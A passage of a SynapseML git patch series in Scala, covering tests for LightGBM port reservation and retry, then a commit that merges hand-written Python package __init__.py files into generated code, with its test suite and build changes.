Option(reservation) + reservation + }, + sleep = _ => { + assert(retryReservation.exists(reservation => !reservation.isClosed)) + val challenger = new ServerSocket() + try { + assertThrows[BindException] { + challenger.bind(new InetSocketAddress(port)) + } + } finally { + challenger.close() + } + observedReservedBackoff = true + }) + + assert(initCalls == 2) + assert(observedReservedBackoff) + assert(retryReservation.exists(_.isClosed)) + assertPortAvailable(port) + } finally { + topology.releasePortReservation() + retryReservation.foreach(reservation => if (!reservation.isClosed) reservation.close()) + if (!initialReservation.isClosed) initialReservation.close() + } + } + + test("Native-init retry continues when its backoff reservation closes after an initial failure") { + val initialReservation = bindEphemeralSocket() + val port = initialReservation.getLocalPort + val topology = NetworkTopologyInfo(s"localhost:$port", Array(0), port) + .retainPortReservation(initialReservation) + val nativeFailure = new Exception("first native init failed") + val handoffFailure = new IOException("first handoff close failed") + var initCalls = 0 + var retryReservation: Option[FailingCloseSocket] = None + + try { + NetworkManager.initLightGBMNetworkWithRetry( + topology, + log, + retry = 1, + delay = 1L, + networkInit = () => { + initCalls += 1 + if (initCalls == 1) throw nativeFailure + }, + reservePort = retryPort => { + val reservation = new FailingCloseSocket(Seq(handoffFailure)) + reservation.bind(new InetSocketAddress(retryPort)) + retryReservation = Option(reservation) + reservation + }, + sleep = _ => ()) + + assert(initCalls == 2) + assert(nativeFailure.getSuppressed.toSeq == Seq(handoffFailure)) + assert(retryReservation.exists(_.closeAttempts == 2)) + assert(retryReservation.exists(_.isClosed)) + assertPortAvailable(port) + } finally { + topology.releasePortReservation() + retryReservation.foreach(reservation => if (!reservation.isClosed) reservation.close()) + if (!initialReservation.isClosed) initialReservation.close() + } + } + + test("Native-init retry preserves its failure when a competitor takes the advertised port") { + val initialReservation = bindEphemeralSocket() + val port = initialReservation.getLocalPort + val topology = NetworkTopologyInfo(s"localhost:$port", Array(0), port) + .retainPortReservation(initialReservation) + val nativeFailure = new Exception("native init failed") + var initCalls = 0 + var competitor: Option[ServerSocket] = None + + try { + val actual = intercept[Exception] { + NetworkManager.initLightGBMNetworkWithRetry( + topology, + log, + retry = 1, + delay = 1L, + networkInit = () => { + initCalls += 1 + val competingSocket = new ServerSocket() + competitor = Option(competingSocket) + competingSocket.bind(new InetSocketAddress(port)) + throw nativeFailure + }, + reservePort = retryPort => NetworkManager.reserveExactPort(retryPort, log), + sleep = _ => fail("Retry backoff must not start without an exact-port reservation")) + } + + assert(actual eq nativeFailure) + assert(initCalls == 1) + assert(actual.getSuppressed.exists(_.isInstanceOf[BindException])) + } finally { + topology.releasePortReservation() + competitor.foreach(socket => if (!socket.isClosed) socket.close()) + if (!initialReservation.isClosed) initialReservation.close() + } + + assertPortAvailable(port) + } + + test("Native init never starts while the advertised port is still reserved") { + val firstFailure = new IOException("first handoff close failed") + val secondFailure = new IOException("second handoff close failed") + val reservation = new FailingCloseSocket(Seq(firstFailure, secondFailure)) + reservation.bind(new InetSocketAddress(0)) + val port = reservation.getLocalPort + val topology = NetworkTopologyInfo(s"localhost:$port", Array(0), port) + .retainPortReservation(reservation) + var initCalls = 0 + + try { + val actual = intercept[IOException] { + NetworkManager.initLightGBMNetworkWithRetry( + topology, + log, + retry = 1, + delay = 1L, + networkInit = () => initCalls += 1, + reservePort = _ => fail("Reservation must not be replaced before the first native init"), + sleep = _ => fail("Backoff must not start before the first native init")) + } + + assert(actual eq firstFailure) + assert(actual.getSuppressed.toSeq == Seq(secondFailure)) + assert(initCalls == 0) + assert(topology.hasPortReservation) + } finally { + topology.releasePortReservation() + if (!reservation.isClosed) reservation.close() + } + + assertPortAvailable(port) + } + + test("Native-init retry aborts with its native failure when the backoff reservation stays open") { + val initialReservation = bindEphemeralSocket() + val port = initialReservation.getLocalPort + val topology = NetworkTopologyInfo(s"localhost:$port", Array(0), port) + .retainPortReservation(initialReservation) + val nativeFailure = new Exception("native init failed") + val firstCloseFailure = new IOException("first backoff close failed") + val secondCloseFailure = new IOException("second backoff close failed") + var initCalls = 0 + var backoffs = 0 + var retryReservation: Option[FailingCloseSocket] = None + + try { + val actual = intercept[Exception] { + NetworkManager.initLightGBMNetworkWithRetry( + topology, + log, + retry = 1, + delay = 1L, + networkInit = () => { + initCalls += 1 + throw nativeFailure + }, + reservePort = retryPort => { + val reservation = new FailingCloseSocket(Seq(firstCloseFailure, secondCloseFailure)) + reservation.bind(new InetSocketAddress(retryPort)) + retryReservation = Option(reservation) + reservation + }, + sleep = _ => backoffs += 1) + } + + assert(actual eq nativeFailure) + assert(initCalls == 1) + assert(backoffs == 1) + assert(actual.getSuppressed.toSeq == Seq(firstCloseFailure)) + assert(retryReservation.exists(_.closeAttempts == 2)) + assert(retryReservation.exists(reservation => !reservation.isClosed)) + assert(topology.hasPortReservation) + } finally { + topology.releasePortReservation() + retryReservation.foreach(reservation => if (!reservation.isClosed) reservation.close()) + if (!initialReservation.isClosed) initialReservation.close() + } + + assertPortAvailable(port) + } + + test("Port scanning gives up after exhausting its contention window") { + var createdSockets = 0 + val actual = intercept[Exception] { + NetworkManager.reserveOpenPort(20000, log, () => { + createdSockets += 1 + new Socket() { + override def bind(bindpoint: SocketAddress): Unit = throw new BindException("Address already in use") + } + }) + } + + assert(actual.getMessage == "Error: Could not find open port after 1k tries") + assert(createdSockets == 1001) + } + + test("Out-of-range base ports are rejected before any socket is created") { + var createdSockets = 0 + val factory = () => { + createdSockets += 1 + new Socket() + } + + assertThrows[Exception](NetworkManager.reserveOpenPort(-1, log, factory)) + assertThrows[Exception](NetworkManager.reserveOpenPort(Int.MaxValue, log, factory)) + assert(createdSockets == 0) + } + + test("Concurrent port reservations remain unique and are all reusable after cleanup") { + val workerCount = 6 + val competitor = bindEphemeralSocket() + val start = new CountDownLatch(1) + val executor = Executors.newFixedThreadPool(workerCount) + implicit val executionContext: ExecutionContext = ExecutionContext.fromExecutor(executor) + val allocated = new ConcurrentLinkedQueue[Socket]() + + try { + val attempts = (1 to workerCount).map { _ => + Future { + start.await() + Try { + val reservation = NetworkManager.reserveOpenPort(competitor.getLocalPort, log) + allocated.add(reservation) + reservation + } + } + } + start.countDown() + + val outcomes = Await.result(Future.sequence(attempts), 30.seconds) + val failures = outcomes.collect { case Failure(error) => error } + assert(failures.isEmpty, failures.mkString(", ")) + val reservations = outcomes.collect { case Success(reservation) => reservation } + val reservedPorts = reservations.map(_.getLocalPort) + assert(reservations.size == workerCount) + assert(reservedPorts.distinct.size == workerCount) + + reservations.foreach { reservation => + val challenger = new ServerSocket() + try { + assertThrows[BindException] { + challenger.bind(new InetSocketAddress(reservation.getLocalPort)) + } + } finally { + challenger.close() + } + } + } finally { + try { + executor.shutdownNow() + executor.awaitTermination(5, TimeUnit.SECONDS) + } finally { + allocated.asScala.foreach(reservation => if (!reservation.isClosed) reservation.close()) + competitor.close() + } + } + + allocated.asScala.foreach(reservation => assertPortAvailable(reservation.getLocalPort)) + } + +} From 459f01eb7db212e964d6732c1598581ce7554a9f Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Fri, 7 Aug 2026 15:34:58 -0700 Subject: [PATCH 34/93] fix: preserve hand-written Python package initializers (#2590) --- build.sbt | 2 +- .../main/python/synapse/ml/automl/__init__.py | 1 - .../azure/synapse/ml/codegen/PyCodegen.scala | 9 +- .../synapse/ml/codegen/PythonInitMerger.scala | 232 +++++++++++ .../synapse/ml/codegen/PyCodegenSuite.scala | 386 ++++++++++++++++++ .../synapse/ml/codegen/WrappableTests.scala | 2 +- pipeline.yaml | 24 +- tools/ci/tests/test_pipeline_yaml.py | 7 +- 8 files changed, 655 insertions(+), 8 deletions(-) delete mode 100644 core/src/main/python/synapse/ml/automl/__init__.py create mode 100644 core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PythonInitMerger.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegenSuite.scala diff --git a/build.sbt b/build.sbt index 8e921ebe983..7b5d6445c65 100644 --- a/build.sbt +++ b/build.sbt @@ -173,7 +173,7 @@ packageSynapseML := { | long_description="SynapseML contains Microsoft's open source " | + "contributions to the Apache Spark ecosystem", | license="MIT", - | packages=find_namespace_packages(include=['synapse.ml.*']), + | packages=find_namespace_packages(include=['synapse.ml', 'synapse.ml.*']), | url="https://github.com/Microsoft/SynapseML", | author="Microsoft", | author_email="synapseml-support@microsoft.com", diff --git a/core/src/main/python/synapse/ml/automl/__init__.py b/core/src/main/python/synapse/ml/automl/__init__.py deleted file mode 100644 index 0acf0108d1d..00000000000 --- a/core/src/main/python/synapse/ml/automl/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from _FindBestModel import _FindBestModel diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala index e316202f80b..49303896ff5 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala @@ -126,7 +126,7 @@ object PyCodegen { | long_description="SynapseML contains Microsoft's open source " | + "contributions to the Apache Spark ecosystem", | license="MIT", - | packages=find_namespace_packages(include=['synapse.ml.*']) ${extraPackage}, + | packages=find_namespace_packages(include=['synapse.ml', 'synapse.ml.*']) ${extraPackage}, | url="https://github.com/Microsoft/SynapseML", | author="Microsoft", | author_email="synapseml-support@microsoft.com", @@ -153,6 +153,11 @@ object PyCodegen { } //scalastyle:on + private[codegen] def generateInitFiles(conf: CodegenConfig): Unit = { + makeInitFiles(conf) + PythonInitMerger.preserve(conf) + } + def pyGen(conf: CodegenConfig): Unit = { println(s"Generating python for ${conf.jarName}") clean(conf.pySrcDir) @@ -160,7 +165,7 @@ object PyCodegen { generatePythonClasses(conf) if (conf.pySrcOverrideDir.exists()) FileUtils.copyDirectoryToDirectory(toDir(conf.pySrcOverrideDir), toDir(conf.pySrcDir)) - makeInitFiles(conf) + generateInitFiles(conf) } def main(args: Array[String]): Unit = { diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PythonInitMerger.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PythonInitMerger.scala new file mode 100644 index 00000000000..a40f334e93a --- /dev/null +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PythonInitMerger.scala @@ -0,0 +1,232 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.codegen + +import java.io.File +import java.nio.charset.StandardCharsets +import java.nio.file.Files + +private[codegen] object PythonInitMerger { + + private val ByteOrderMark = 0xFEFF.toChar + + def preserve(conf: CodegenConfig): Unit = { + val manualRoot = new File(new File(conf.pySrcOverrideDir, "synapse"), "ml") + val generatedRoot = new File(new File(conf.pySrcDir, "synapse"), "ml") + initFiles(manualRoot).foreach { manualFile => + val relativePath = manualRoot.toPath.relativize(manualFile.toPath) + val generatedFile = generatedRoot.toPath.resolve(relativePath).toFile + preserveFile(manualFile, generatedFile) + } + } + + private def initFiles(dir: File): Seq[File] = { + if (!dir.isDirectory) { + Seq.empty + } else { + Option(dir.listFiles()).getOrElse(Array.empty[File]).sortBy(_.getName).flatMap { + case file if file.isDirectory => initFiles(file) + case file if file.getName == "__init__.py" => Seq(file) + case _ => Seq.empty + } + } + } + + private def preserveFile(manualFile: File, generatedFile: File): Unit = { + val manualContent = readUtf8(manualFile) + val generatedContent = if (generatedFile.isFile) readUtf8(generatedFile) else "" + val mergedContent = + if (manualContent.isEmpty || generatedContent.isEmpty || manualContent == generatedContent) { + if (generatedContent.isEmpty) manualContent else generatedContent + } else { + val (prologue, body) = splitPrologue(manualContent) + join(prologue, generatedContent, body) + } + + if (mergedContent.nonEmpty || generatedFile.isFile) { + generatedFile.getParentFile.mkdirs() + Files.write(generatedFile.toPath, mergedContent.getBytes(StandardCharsets.UTF_8)) + () + } + } + + private def readUtf8(file: File): String = + new String(Files.readAllBytes(file.toPath), StandardCharsets.UTF_8) + + private def join(parts: String*): String = + parts.filter(_.nonEmpty).foldLeft("") { (result, part) => + if (result.isEmpty || result.endsWith("\n") || result.endsWith("\r") || + part.startsWith("\n") || part.startsWith("\r")) { + result + part + } else { + result + "\n" + part + } + } + + // Explicit indices keep this small scanner deterministic without regex backtracking or a parser dependency. + //scalastyle:off + private[codegen] def splitPrologue(content: String): (String, String) = { + val start = if (content.headOption.contains(ByteOrderMark)) 1 else 0 + var prologueEnd = skipTrivia(content, start) + + consumeModuleDocstring(content, prologueEnd).foreach { end => + prologueEnd = end + } + + var continue = true + while (continue) { + val statementStart = skipTrivia(content, prologueEnd) + val statementEnd = logicalStatementEnd(content, statementStart) + if (statementStart < content.length && isFutureImport(content, statementStart, statementEnd)) { + prologueEnd = statementEnd + } else { + continue = false + } + } + + (content.substring(0, prologueEnd), content.substring(prologueEnd)) + } + + private def skipTrivia(content: String, start: Int): Int = { + var index = start + while (index < content.length) { + content.charAt(index) match { + case char if char.isWhitespace => index += 1 + case '#' => + index = lineEnd(content, index) + case _ => return index + } + } + index + } + + private def lineEnd(content: String, start: Int): Int = { + var index = start + while (index < content.length && content.charAt(index) != '\n' && content.charAt(index) != '\r') { + index += 1 + } + if (index < content.length && content.charAt(index) == '\r') index += 1 + if (index < content.length && content.charAt(index) == '\n') index += 1 + index + } + + private def consumeModuleDocstring(content: String, start: Int): Option[Int] = { + val quoteStart = stringQuoteStart(content, start) + quoteStart.flatMap { index => + val quote = content.charAt(index) + val triple = index + 2 < content.length && + content.charAt(index + 1) == quote && content.charAt(index + 2) == quote + val literalEnd = stringLiteralEnd(content, index, quote, triple) + literalEnd.flatMap { end => + var suffix = end + while (suffix < content.length && " \t\f".contains(content.charAt(suffix))) suffix += 1 + if (suffix < content.length && content.charAt(suffix) == '#') { + Some(lineEnd(content, suffix)) + } else if (suffix == content.length) Some(suffix) + else if (content.charAt(suffix) == '\n' || content.charAt(suffix) == '\r') { + Some(lineEnd(content, suffix)) + } else { + None + } + } + } + } + + private def stringQuoteStart(content: String, start: Int): Option[Int] = { + var index = start + while (index < content.length && "rRuU".contains(content.charAt(index)) && index - start < 2) { + index += 1 + } + val prefix = content.substring(start, index).toLowerCase + val validPrefix = Set("", "r", "u", "ru", "ur").contains(prefix) + if (validPrefix && index < content.length && (content.charAt(index) == '\'' || content.charAt(index) == '"')) { + Some(index) + } else { + None + } + } + + private def stringLiteralEnd(content: String, + quoteStart: Int, + quote: Char, + triple: Boolean): Option[Int] = { + var index = quoteStart + (if (triple) 3 else 1) + while (index < content.length) { + if (content.charAt(index) == '\\') { + index += 2 + } else if (triple && index + 2 < content.length && + content.charAt(index) == quote && + content.charAt(index + 1) == quote && + content.charAt(index + 2) == quote) { + return Some(index + 3) + } else if (!triple && content.charAt(index) == quote) { + return Some(index + 1) + } else if (!triple && (content.charAt(index) == '\n' || content.charAt(index) == '\r')) { + return None + } else { + index += 1 + } + } + None + } + + private def logicalStatementEnd(content: String, start: Int): Int = { + var index = start + var depth = 0 + while (index < content.length) { + content.charAt(index) match { + case '\\' if index + 1 < content.length && + (content.charAt(index + 1) == '\n' || content.charAt(index + 1) == '\r') => + index = lineEnd(content, index + 1) + case '#' => + val end = lineEnd(content, index) + if (depth == 0) return end + index = end + case quote if quote == '\'' || quote == '"' => + val triple = index + 2 < content.length && + content.charAt(index + 1) == quote && content.charAt(index + 2) == quote + index = stringLiteralEnd(content, index, quote, triple).getOrElse(content.length) + case '(' | '[' | '{' => + depth += 1 + index += 1 + case ')' | ']' | '}' => + depth = math.max(0, depth - 1) + index += 1 + case '\n' | '\r' if depth == 0 => + return lineEnd(content, index) + case _ => + index += 1 + } + } + index + } + + private def isFutureImport(content: String, start: Int, end: Int): Boolean = { + val (from, afterFrom) = nextIdentifier(content, start, end) + val (future, afterFuture) = nextIdentifier(content, afterFrom, end) + val (importKeyword, _) = nextIdentifier(content, afterFuture, end) + from == "from" && future == "__future__" && importKeyword == "import" + } + + private def nextIdentifier(content: String, start: Int, end: Int): (String, Int) = { + var index = start + var searching = true + while (index < end && searching) { + content.charAt(index) match { + case char if char.isWhitespace => index += 1 + case '\\' if index + 1 < end && + (content.charAt(index + 1) == '\n' || content.charAt(index + 1) == '\r') => + index = lineEnd(content, index + 1) + case '#' => index = lineEnd(content, index) + case _ => searching = false + } + } + val identifierStart = index + while (index < end && (content.charAt(index).isLetterOrDigit || content.charAt(index) == '_')) { + index += 1 + } + (content.substring(identifierStart, index), index) + } + //scalastyle:on +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegenSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegenSuite.scala new file mode 100644 index 00000000000..5c86fef031b --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegenSuite.scala @@ -0,0 +1,386 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.codegen + +import org.apache.commons.io.{FileUtils, IOUtils} +import org.scalatest.funsuite.AnyFunSuite + +import java.io.File +import java.nio.charset.StandardCharsets +import java.nio.file.Files +import java.util.zip.ZipFile + +class PyCodegenSuite extends AnyFunSuite { + + private def pythonExecutable: String = + if (System.getProperty("os.name").toLowerCase.contains("windows")) "python" else "python3" + + private def withTempDir(testCode: File => Unit): Unit = { + val dir = Files.createTempDirectory("py-codegen-suite").toFile + try testCode(dir) finally FileUtils.deleteDirectory(dir) + } + + private def codegenConfig(root: File): CodegenConfig = CodegenConfig( + "test-module", + None, + root.getAbsolutePath, + new File(root, "target").getAbsolutePath, + "1.0.0", + "1.0.0", + "1.0.0", + "synapseml-test") + + private def packageDir(base: File, packageFolder: String): File = { + val namespaceRoot = new File(new File(base, "synapse"), "ml") + packageFolder.split("/").filter(_.nonEmpty).foldLeft(namespaceRoot)(new File(_, _)) + } + + private def initFile(base: File, packageFolder: String): File = + new File(packageDir(base, packageFolder), "__init__.py") + + private def writeUtf8(file: File, content: String): Unit = { + file.getParentFile.mkdirs() + Files.write(file.toPath, content.getBytes(StandardCharsets.UTF_8)) + () + } + + private def addManualInit(conf: CodegenConfig, packageFolder: String, content: String): Unit = { + writeUtf8(initFile(conf.pySrcOverrideDir, packageFolder), content) + writeUtf8(initFile(conf.pySrcDir, packageFolder), content) + } + + private def addModule(conf: CodegenConfig, packageFolder: String, name: String): Unit = + writeUtf8(new File(packageDir(conf.pySrcDir, packageFolder), name), "") + + private def ensurePackage(conf: CodegenConfig, packageFolder: String): Unit = { + packageDir(conf.pySrcDir, packageFolder).mkdirs() + () + } + + private def readUtf8(file: File): String = + new String(Files.readAllBytes(file.toPath), StandardCharsets.UTF_8) + + private def occurrences(text: String, value: String): Int = + text.sliding(value.length).count(_ == value) + + private def buildWheel(sourceDir: File, wheelDir: File): File = { + wheelDir.mkdirs() + val process = new ProcessBuilder( + pythonExecutable, "setup.py", "bdist_wheel", "--universal", "-d", wheelDir.getAbsolutePath) + .directory(sourceDir) + .redirectErrorStream(true) + .start() + val outputStream = process.getInputStream + val output = try { + new String(IOUtils.toByteArray(outputStream), StandardCharsets.UTF_8) + } finally { + outputStream.close() + } + assert(process.waitFor() === 0, output) + val wheels = Option(wheelDir.listFiles()).getOrElse(Array.empty) + .filter(file => file.isFile && file.getName.endsWith(".whl")) + assert(wheels.length === 1, s"Expected one wheel, found: ${wheels.mkString(", ")}") + wheels.head + } + + private def assertPythonCompiles(file: File): Unit = { + val script = "from pathlib import Path; import sys; " + + "path = Path(sys.argv[1]); compile(path.read_bytes(), str(path), 'exec')" + val process = new ProcessBuilder(pythonExecutable, "-c", script, file.getAbsolutePath) + .redirectErrorStream(true) + .start() + val stream = process.getInputStream + val output = try { + new String(IOUtils.toByteArray(stream), StandardCharsets.UTF_8) + } finally { + stream.close() + } + assert(process.waitFor() === 0, output) + } + + private def wheelEntryContent(wheel: File, path: String): Option[String] = { + val archive = new ZipFile(wheel) + try { + Option(archive.getEntry(path)).map { entry => + val stream = archive.getInputStream(entry) + try new String(IOUtils.toByteArray(stream), StandardCharsets.UTF_8) finally stream.close() + } + } finally { + archive.close() + } + } + + private def aggregatePackageDiscovery(): String = { + def repositoryRoot(candidate: File): File = { + if (new File(candidate, "build.sbt").isFile && new File(candidate, "core").isDirectory) candidate + else Option(candidate.getParentFile).map(repositoryRoot) + .getOrElse(fail(s"Could not find repository root from ${System.getProperty("user.dir")}")) + } + val buildFile = new File(repositoryRoot(new File(System.getProperty("user.dir"))), "build.sbt") + val lines = readUtf8(buildFile).split("\n") + .filter(_.contains("| packages=find_namespace_packages(")) + assert(lines.length === 1) + lines.head.trim.stripPrefix("| packages=").stripSuffix(",") + } + + test("nested init keeps UTF-8 manual content after deterministic generated imports") { + withTempDir { root => + val conf = codegenConfig(root) + val folder = "/custom/nested" + val prefix = "# hand written\n" + val body = "message = \"Grüße 雪\"\n" + addManualInit(conf, folder, prefix + body) + addModule(conf, folder, "Zulu.py") + addModule(conf, folder, "Alpha.py") + + PyCodegen.generateInitFiles(conf) + + val output = initFile(conf.pySrcDir, folder) + val first = Files.readAllBytes(output.toPath) + val generated = new String(first, StandardCharsets.UTF_8) + val alphaImport = "from synapse.ml.custom.nested.Alpha import *" + val zuluImport = "from synapse.ml.custom.nested.Zulu import *" + assert(generated.indexOf(alphaImport) >= 0) + assert(generated.indexOf(alphaImport) < generated.indexOf(zuluImport)) + assert(generated.startsWith(prefix)) + assert(generated.indexOf(zuluImport) < generated.indexOf(body)) + assert(occurrences(generated, body) === 1) + + PyCodegen.generateInitFiles(conf) + assert(Files.readAllBytes(output.toPath).sameElements(first)) + } + } + + test("namespace roots stay absent unless a non-empty manual init is required") { + withTempDir { root => + val absentConf = codegenConfig(new File(root, "absent")) + ensurePackage(absentConf, "") + PyCodegen.generateInitFiles(absentConf) + assert(!initFile(absentConf.pySrcDir, "").exists()) + + val emptyConf = codegenConfig(new File(root, "empty")) + addManualInit(emptyConf, "", "") + PyCodegen.generateInitFiles(emptyConf) + assert(!initFile(emptyConf.pySrcDir, "").exists()) + + val manualConf = codegenConfig(new File(root, "manual")) + val manual = "root_value = \"namespace 雪\"\n" + addManualInit(manualConf, "", manual) + PyCodegen.generateInitFiles(manualConf) + val output = initFile(manualConf.pySrcDir, "") + assert(output.exists()) + assert(readUtf8(output) === manual) + + PyCodegen.generateInitFiles(manualConf) + assert(readUtf8(output) === manual) + } + } + + test("OpenAI init keeps generated hook, manual content, and idempotent ordering") { + withTempDir { root => + val conf = codegenConfig(root) + val folder = "/services/openai" + val manual = "manual_value = \"café 雪\"\n" + addManualInit(conf, folder, manual) + addModule(conf, folder, "Zulu.py") + addModule(conf, folder, "Alpha.py") + addModule(conf, folder, "OpenAICompletion.py") + + PyCodegen.generateInitFiles(conf) + + val output = initFile(conf.pySrcDir, folder) + val first = Files.readAllBytes(output.toPath) + val generated = new String(first, StandardCharsets.UTF_8) + val alphaImport = "from synapse.ml.services.openai.Alpha import *" + val zuluImport = "from synapse.ml.services.openai.Zulu import *" + val skippedImport = "from synapse.ml.services.openai.OpenAICompletion import *" + val hook = "def __getattr__(name):" + assert(generated.indexOf(alphaImport) < generated.indexOf(zuluImport)) + assert(!generated.contains(skippedImport)) + assert(generated.indexOf(zuluImport) < generated.indexOf(hook)) + assert(generated.indexOf(hook) < generated.indexOf(manual)) + assert(occurrences(generated, hook) === 1) + assert(occurrences(generated, manual) === 1) + + PyCodegen.generateInitFiles(conf) + assert(Files.readAllBytes(output.toPath).sameElements(first)) + } + } + + test("nested package without manual init gets stable generated imports") { + withTempDir { root => + val conf = codegenConfig(root) + val folder = "/plain" + ensurePackage(conf, folder) + addModule(conf, folder, "Zulu.py") + addModule(conf, folder, "Alpha.py") + + PyCodegen.generateInitFiles(conf) + + val output = initFile(conf.pySrcDir, folder) + val first = Files.readAllBytes(output.toPath) + val generated = new String(first, StandardCharsets.UTF_8) + val alphaImport = "from synapse.ml.plain.Alpha import *" + val zuluImport = "from synapse.ml.plain.Zulu import *" + assert(generated.indexOf(alphaImport) >= 0) + assert(generated.indexOf(alphaImport) < generated.indexOf(zuluImport)) + assert(occurrences(generated, alphaImport) === 1) + assert(occurrences(generated, zuluImport) === 1) + + PyCodegen.generateInitFiles(conf) + assert(Files.readAllBytes(output.toPath).sameElements(first)) + } + } + + test("manual Python prologue stays ahead of generated executable statements") { + withTempDir { root => + val conf = codegenConfig(root) + val folder = "/prologue" + val prologue = + "\uFEFF# -*- coding: utf-8 -*-\r\n" + + "# leading comment\r\n" + + "\r\n" + + "\"\"\"Hand-written\r\nmodule documentation.\r\n\"\"\"\r\n" + + "from __future__ import absolute_import\r\n" + + "from __future__ import (\r\n division,\r\n)\r\n" + val body = "# manual exports\r\nmanual_value = \"Grüße 雪\"\r\n" + addManualInit(conf, folder, prologue + body) + addModule(conf, folder, "Generated.py") + + PyCodegen.generateInitFiles(conf) + + val outputFile = initFile(conf.pySrcDir, folder) + val output = readUtf8(outputFile) + val generatedImport = "from synapse.ml.prologue.Generated import *" + assert(output.startsWith(prologue)) + assert(output.indexOf("\uFEFF") === 0) + assert(output.indexOf("from __future__ import absolute_import") < + output.indexOf("__version__ =")) + assert(output.indexOf("division,") < output.indexOf("__version__ =")) + assert(output.indexOf(generatedImport) < output.indexOf(body)) + assert(occurrences(output, "Hand-written\r\nmodule documentation.") === 1) + + val first = Files.readAllBytes(outputFile.toPath) + PyCodegen.generateInitFiles(conf) + assert(Files.readAllBytes(outputFile.toPath).sameElements(first)) + } + } + + test("blank and comment prefix stays before generated code while manual body stays after it") { + withTempDir { root => + val conf = codegenConfig(root) + val folder = "/commented" + val prefix = "# package policy\n\n# generated exports follow\n" + val body = "manual_value = 1\n" + addManualInit(conf, folder, prefix + body) + addModule(conf, folder, "Generated.py") + + PyCodegen.generateInitFiles(conf) + + val output = readUtf8(initFile(conf.pySrcDir, folder)) + assert(output.startsWith(prefix)) + assert(output.indexOf("from synapse.ml.commented.Generated import *") < output.indexOf(body)) + } + } + + test("inline-commented module docstring keeps following future import legal") { + withTempDir { root => + val conf = codegenConfig(root) + val folder = "/inlinecomment" + val docstring = "\"\"\"Package documentation.\"\"\" # retained explanation\n" + val futureImport = "from __future__ import absolute_import\n" + val body = "manual_value = 1\n" + addManualInit(conf, folder, docstring + futureImport + body) + addModule(conf, folder, "Generated.py") + + PyCodegen.generateInitFiles(conf) + + val outputFile = initFile(conf.pySrcDir, folder) + val output = readUtf8(outputFile) + assert(output.startsWith(docstring + futureImport)) + assert(output.indexOf(futureImport) < output.indexOf("__version__ =")) + assert(output.indexOf("from synapse.ml.inlinecomment.Generated import *") < output.indexOf(body)) + assertPythonCompiles(outputFile) + } + } + + test("deleted and renamed modules do not leave stale generated initializer content") { + withTempDir { root => + val conf = codegenConfig(root) + val folder = "/transitions" + val manual = "manual_value = \"preserved\"\n" + addManualInit(conf, folder, manual) + val oldModule = new File(packageDir(conf.pySrcDir, folder), "OldName.py") + writeUtf8(oldModule, "") + + PyCodegen.generateInitFiles(conf) + val output = initFile(conf.pySrcDir, folder) + assert(readUtf8(output).contains("from synapse.ml.transitions.OldName import *")) + + assert(oldModule.delete()) + addModule(conf, folder, "NewName.py") + PyCodegen.generateInitFiles(conf) + val renamed = readUtf8(output) + assert(!renamed.contains("OldName")) + assert(renamed.contains("from synapse.ml.transitions.NewName import *")) + assert(occurrences(renamed, manual) === 1) + + assert(initFile(conf.pySrcOverrideDir, folder).delete()) + PyCodegen.generateInitFiles(conf) + val withoutManual = readUtf8(output) + assert(!withoutManual.contains(manual)) + assert(occurrences(withoutManual, "NewName") === 1) + } + } + + test("cognitive compatibility init remains entirely hand written") { + withTempDir { root => + val conf = codegenConfig(root) + val folder = "/cognitive" + val manual = "compatibility_value = \"manual 雪\"\n" + addManualInit(conf, folder, manual) + addModule(conf, folder, "Generated.py") + + PyCodegen.generateInitFiles(conf) + + val output = initFile(conf.pySrcDir, folder) + assert(readUtf8(output) === manual) + PyCodegen.generateInitFiles(conf) + assert(readUtf8(output) === manual) + } + } + + test("component wheel includes a preserved non-empty namespace root init") { + withTempDir { root => + val conf = codegenConfig(root) + val manual = "wheel_marker = \"Grüße 雪\"\n" + addManualInit(conf, "", manual) + addModule(conf, "/nested", "Widget.py") + PyCodegen.generatePyPackageData(conf) + PyCodegen.generateInitFiles(conf) + + val wheel = buildWheel(conf.pySrcDir, new File(conf.targetDir, "wheel-test")) + assert(wheelEntryContent(wheel, "synapse/ml/__init__.py").contains(manual)) + assert(wheelEntryContent(wheel, "synapse/ml/nested/__init__.py").nonEmpty) + } + } + + test("aggregate wheel includes a preserved non-empty namespace root init") { + withTempDir { root => + val sourceDir = new File(root, "aggregate-source") + val wheelDir = new File(root, "aggregate-wheel") + val manual = "aggregate_marker = \"café 雪\"\n" + writeUtf8(new File(sourceDir, "synapse/ml/__init__.py"), manual) + writeUtf8(new File(sourceDir, "synapse/ml/nested/__init__.py"), "") + val setup = "from setuptools import setup, find_namespace_packages\n" + + "setup(name=\"aggregate-wheel-test\", version=\"1.0.0\", packages=" + + aggregatePackageDiscovery() + ")\n" + writeUtf8(new File(sourceDir, "setup.py"), setup) + + val wheel = buildWheel(sourceDir, wheelDir) + assert(wheelEntryContent(wheel, "synapse/ml/__init__.py").contains(manual)) + assert(wheelEntryContent(wheel, "synapse/ml/nested/__init__.py").nonEmpty) + } + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/WrappableTests.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/WrappableTests.scala index a773147f4c1..fb4fdcb5d15 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/WrappableTests.scala +++ 